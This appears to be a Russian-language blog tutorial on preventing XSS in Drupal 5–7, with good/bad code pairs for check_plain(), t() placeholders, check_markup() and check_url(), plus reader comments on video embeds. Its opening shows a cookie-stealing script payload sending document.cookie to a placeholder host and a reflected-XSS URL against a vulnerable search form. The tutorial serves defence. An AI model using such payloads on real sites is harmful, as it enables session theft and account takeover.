

Наверняка, XSS атаки остаются самыми популярными наравне с SQL инъекциями. Их принцип прост до безобразия, а последствия разнятся от невинного коверканья вывода страниц до получения злоумышленником полного контроля над сайтом.
Вот вам простейший пример как именно происходит воровство куков и их использование.
<scrіpt>іmg=new Image();іmg.srс="http://sniffsite/s.php?"+document.cookie;</scrіpt>.И если под обычным аккаунтом злоумышленник может навредить в пределах прав этого аккаунта, то завладев аккаунтом рута (под которым ходят 90% наших друпаллеров) он может буквально убить сайт тем 60% друпаллеров, которые не делают частые бекапы.
Что означает XSS, завязанный в ссылке? Очень распространенный пример — форма поиска, с таким кодом
<input type="text" value="<?php print($_GET['srch']); ?>">.
Теперь, если в адресной строке написать http://site.ru/search.php?srch="><scrіpt>іmg=new Image();іmg.srс="http://snifsite/s.php" +document.cookie;</scrіpt>, мы получим куки каждой жертвы, посетившей этот URL.
Ответ прост — фильтровать вывод на страницу.
Золотое правило работы с данными — хранить пользовательский ввод в базе именно в том виде, в котором он был отправлен. Поэтому, всю фильтрацию следует производить на этапе вывода пользовательских данных на страницу.
Поздняя фильтрация также обезопасит вас от включения XSS сторонними модулями, в процессе модификации загруженных из базы данных (конечно, если вы предоставляете такую возможность).
Весь пользовательский ввод можно разделить на два типа:
Любой пользовательский ввод, который должен быть подан в виде чистого текста, должен проходить через функцию check_plain(), которая превратит кавычки, амперсанды и угловые скобки в их HTML представление. Затем, такой текст может быть уже вставлен в конечную HTML разметку страницы.
Большинство функций темизации и API принимают в параметрах строки, и, так или иначе, осуществляют их фильтрацию:
t(): В этой функции можно использовать несколько типов заполнителей, которые будут фильтроваться по-разному:
check_plain().theme('placeholder').l(): Текст ссылки всегда проходит через check_plain(), кроме случаев, когда явно не выставлен ее параметр $html.theme('placeholder', $variable): (в реализации по-умолчанию) входящие параметры фильтруется.theme('username') (в реализации по-умолчанию).#default_value и #options (только когда #type == 'select').Есть места, в которых никогда не надо забывать о фильтрации:
drupal_set_title(). Заголовки в теле страницы не фильтруются автоматом, чтобы у пользователя имелась возможность использовать там такие теги как <em>. Это не касается заголовка в теге <title>, так как оттуда все теги вырезаются всегда. Примечание: Ситуация изменилась в Drupal 7. Теперь, фильтрация будет осуществляться по-умолчанию, а если необходимо подать в заголовке HTML, нужно будет указать соответствующий параметр в функции drupal_set_title().drupal_set_title($node->title); // Опасно
drupal_set_title(check_plain($node->title)); // Безопасноhook_block(). Та же причина, что и с заголовками страниц.//Drupal 5:
watchdog('content', t("Deleted !title", array('!title' => $node->title))); // XSS
watchdog('content', t("Deleted %title", array('%title' => $node->title))); // или @
//Drupal 6 (The message and variables are passed through t() by the watchdog function):
watchdog('content', "Deleted !title", array('!title' => $node->title)); // XSS
watchdog('content', "Deleted %title", array('%title' => $node->title)); // или @#description и #title:$form['bad'] = array(
'#type' => 'textfield',
'#default_value' => check_plain($u_supplied), // плохо: фильтруется дважды
'#description' => t("Old data: !data", array('!data' => $u_supplied)), // XSS
);
$form['good'] = array(
'#type' => 'textfield',
'#default_value' => $u_supplied,
'#description' => t("Old data: @data", array('@data' => $u_supplied)),
);#options когда #type равен checkboxes или radios:$form['bad'] = array(
'#type' => 'checkboxes',
'#options' => array($u_supplied0, $u_supplied1),
);
$form['good'] = array(
'#type' => 'checkboxes',
'#options' => array(check_plain($u_supplied0), check_plain($u_supplied1)),
);#type равен markup (помните, что markup — это значение по-умолчанию для #type).$form['unsafe'] = array('#value' => $user->name); //XSS
$form['safe'] = array('#value' => check_plain($user->name));
// или
$form['safe'] = array('#value' => theme('username', $user));Размеченный текст нужно фильтровать с помощью check_markup(). Эта функция принимает на вход, кроме самого текста, формат ввода, который содержит правила фильтрации. Поэтому, при формировании форм для текста с разметкой, имеет смысл вводить рядом с многострочными полями виджет для выбора формата ввода(filter_form()).
Обратите внимание, что пользователь, просматривающий текст с разметкой, прошедший через check_markup(), должен иметь права на просмотр выбранного формата ввода. По-умолчанию, такая проверка осуществляется всегда. Однако, это не всегда нужно, так как контент обычно просматривается пользователями с меньшими правами, нежели у того, кто создал этот контент. Поэтому проверку прав при выводе можно отключить, подав соответствующий параметр в check_markup(). Но вы должны всегда проверять эти права с помощью filter_access() при отправке самой формы с этим контентом.
# в GET параметрах, не испортила весь урл. Используйте для фильтрации функцию urlencode().// Плохо
l(t('Some link'), $path, array('query' => $query, 'fragment' => $fragment)); // не фильтруются параметры и фрагмент
l(t('Link'), urlencode($path), array('query' => $query, 'fragment' => $fragment)); // основной путь ссылки не нужно фильтровать
// Хорошо
l(t('Link'), $path, array('query' => urlencode($query), 'fragment' => urlencode($fragment)));check_plain(), но и проверку правильности протокола урла.// Плохо
print '<a href="/$url">';
print '<a href="/'. check_plain($url) .'">';
// Хорошо
print '<a href="/'. check_url($url) .'">';Видео-доклад «Introduction Security» с прошедшего друпалкона:
Скачать ролик (226Mb)
Спасибо за материал и за видео. Есть вопросы.
Как быть, если нужно разрешить пользователю постить ноды с кодами видео с разных видеохостингов? Там же всякие object, embed, param - их надо специально чем-то фильтровать?
Стандартные форматы filtered html и full html - они хорошо фильтруют скриптовые приписки к тегу img, например?
Если сделать формат ввода вообще без фильтров - это опасно?
Для этих целей есть замечательный модуль Video filter. Принцип его действия прост и идентичен многим другим сайтам — юзер вставляет в код страницы что-то типа [#ytb#5345334], где #ytb — это ID видеохостинга, а #5345334 — ID видяшки. При рендере страницы, фильтр заменяет [#ytb#5345334] на плеер ютуба с видяшкой взятой на ссылке типа youtube.com/video?5345334. Точный формат и ссылки увидите уже в модуле, думаю принцип понятен.
Очередная полезная статья из отлично серии.
Большое спасибо, Александр!
Ссылки с других сайтов
Все молчат как партизаны.